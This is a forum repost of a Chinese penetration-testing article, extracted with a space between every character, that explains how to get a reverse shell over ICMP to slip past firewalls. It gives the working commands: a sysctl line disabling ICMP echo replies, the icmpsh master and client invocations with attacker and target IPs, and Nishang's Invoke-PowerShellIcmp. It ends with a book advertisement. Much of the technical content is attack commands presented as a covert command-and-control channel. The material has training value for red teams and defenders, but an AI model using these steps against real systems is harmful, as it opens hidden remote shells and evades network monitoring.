搜索

[26878] 2019-12-16_通过ICMP协议反弹SHELL并执行命令

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-19
2019-12-16_通过ICMP协议反弹SHELL并执行命令 通 过 I C M P 协 议 反 弹 S H E L L 并 执 行 命 令 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 1 9 - 1 2 - 1 6 内 网 中 的 大 多 数 系 统 都 位 于 防 火 墙 和 企 业 代 理 之 后 ， 以 便 控 制 入 口 以 及 出 口 流 量 。 防 火 墙 可 以 拦 截 到 反 连 的 s h e l l ， 但 I C M P 协 议 基 本 上 是 不 拦 截 的 。 因 此 ， 为 了 获 得 s h e l l 并 在 目 标 主 机 上 执 行 命 令 ， 可 以 使 用 I C M P 协 议 作 为 隐 藏 通 道 进 行 连 接 。 使 用 i c m p s h ( h t t p s : / / g i t h u b . c o m / i n q u i s b / i c m p s h ) 工 具 可 用 来 执 行 此 攻 击 。 推 特 上 的 大 牛 @ B e r n a r d o   D a m e l e 已 经 将 其 导 入 到 他 的 工 具 s q l m a p 中 ， 可 以 使 用 - o s - p w n 选 项 来 发 起 攻 击 。 以 下 命 令 将 禁 止 I C M P 回 显 ， 这 对 于 工 具 正 常 使 用 是 至 关 重 要 的 ， 启 动 一 个 监 听 器 ， 该 监 听 器 将 等 待 目 标 主 机 的 I C M P 数 据 包 ： i c m p s h 工 具 中 还 包 含 需 要 在 目 标 主 机 上 传 输 和 执 行 的 二 进 制 文 件 。 以 下 命 令 将 向 监 听 主 机 发 送 I C M P 包 ： I C M P   S h e l l   –   E x e c u t i n g   B i n a r y 一 个 s h e l l 将 通 过 I C M P 接 收 ， 并 且 也 可 以 通 过 这 个 管 道 来 执 行 命 令 。 D a n i e l   C o m p t o n ( h t t p s : / / t w i t t e r . c o m / c o m m o n e x p l o i t s ) 开 发 了 一 个 自 动 化 过 程 的 脚 本 。 此 脚 本 所 需 的 唯 一 输 入 是 目 标 主 机 的 I P 地 址 。 该 脚 本 包 含 在 i c m p s h ( h t t p s : / / g i t h u b . c o m / i n q u i s b / i c m p s h ) 中 。 s y s c t l   - w   n e t . i p v 4 . i c m p _ e c h o _ i g n o r e _ a l l = 1 . / i c m p s h _ m . p y   1 9 2 . 1 6 8 . 1 0 0 . 3   1 9 2 . 1 6 8 . 1 0 0 . 4 i c m p s h . e x e   - t   1 9 2 . 1 6 8 . 1 0 0 . 3
I C M P   S h e l l   -   自 动 化 自 动 化 工 具 有 多 个 选 项 的 命 令 和 控 制 。 P o w e r S h e l l 框 架 框 架 在 N i s h a n g 框 架 中 包 含 一 个 P o w e r S h e l l 模 块 ， 可 以 与 i c m p s h   p y t h o n 脚 本 结 合 使 用 ， 以 获 取 I C M P 上 的 s h e l l 。 在 主 机 上 ， 执 行 下 面 命 令 将 会 开 始 监 听 I C M P 数 据 包 。 在 目 标 主 机 上 ， P o w e r S h e l l 的 I c m p 模 块 仅 需 要 主 I P 地 址 ： N i s h a n g 模 块 模 块   -   I C M P   S h e l l P o w e r S h e l l   -   I C M P   S h e l l 参 考 资 料 参 考 资 料 . / i c m p s h _ m . p y   1 9 2 . 1 6 8 . 1 0 0 . 3   1 9 2 . 1 6 8 . 1 0 0 . 4 I m p o r t - M o d u l e   . I n v o k e - P o w e r S h e l l I c m p . p s 1 I n v o k e - P o w e r S h e l l I c m p   1 9 2 . 1 6 8 . 1 0 0 . 3 h t t p s : / / a t t a c k . m i t r e . o r g / w i k i / C o m m a n d _ a n d _ C o n t r o l h t t p : / / b e r n a r d o d a m e l e . b l o g s p o t . c o . u k / 2 0 1 1 / 0 4 / r e v e r s e - c o n n e c t i o n - i c m p - s h e l l . h t m l h t t p s : / / g i t h u b . c o m / i n q u i s b / i c m p s h h t t p s : / / g i t h u b . c o m / s a m r a t a s h o k / n i s h a n g
文 章 来 源 文 章 来 源 : 新 书 ： 新 书 ： 《 内 网 安 全 攻 防 ： 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 火 爆 上 市 ！ 渗 透 测 试 实 战 指 南 》 火 爆 上 市 ！ 购 买 链 接 ： 购 买 链 接 ： h t t p s : / / i t e m . j d . c o m / 1 2 7 4 3 2 1 0 . h t m l M s 0 8 0 6 7 安 全 实 验 室 安 全 实 验 室 专 注 于 普 及 网 络 安 全 知 识 。 团 队 已 出 版 《 W e b 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 ， 2 0 1 9 年 年 1 1 月 出 版 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 月 出 版 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 指 南 》 。 目 前 在 编 P y t h o n 渗 透 测 试 ， J A V A 代 码 审 计 和 逆 向 工 程 等 方 面 书 籍 。 团 队 公 众 号 定 期 分 享 关 于 C T F 靶 场 、 内 网 渗 透 、 A P T 方 面 技 术 干 货 ， 从 零 开 始 、 以 实 战 落 地 为 主 ， 致 力 于 做 一 个 实 用 的 干 货 分 享 型 公 众 号 。 官 方 网 站 ： w w w . m s 0 8 0 6 7 . c o m h t t p : / / l e i d e c k e r . i n f o / d o w n l o a d s / i n d e x . s h t m l h t t p s : / / g i t h u b . c o m / n o c o w 4 b o b / P i X - C 2 h t t p s : / / g i t h u b . c o m / s i n c o d e r / i c m p _ s h e l l h t t p s : / / g i t h u b . c o m / D a r k p a w 9 5 / I C M P _ R e v _ s h e l l h t t p s : / / p e n t e s t l a b . b l o g / 2 0 1 7 / 0 7 / 2 8 / c o m m a n d - a n d - c o n t r o l - i c m p /
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理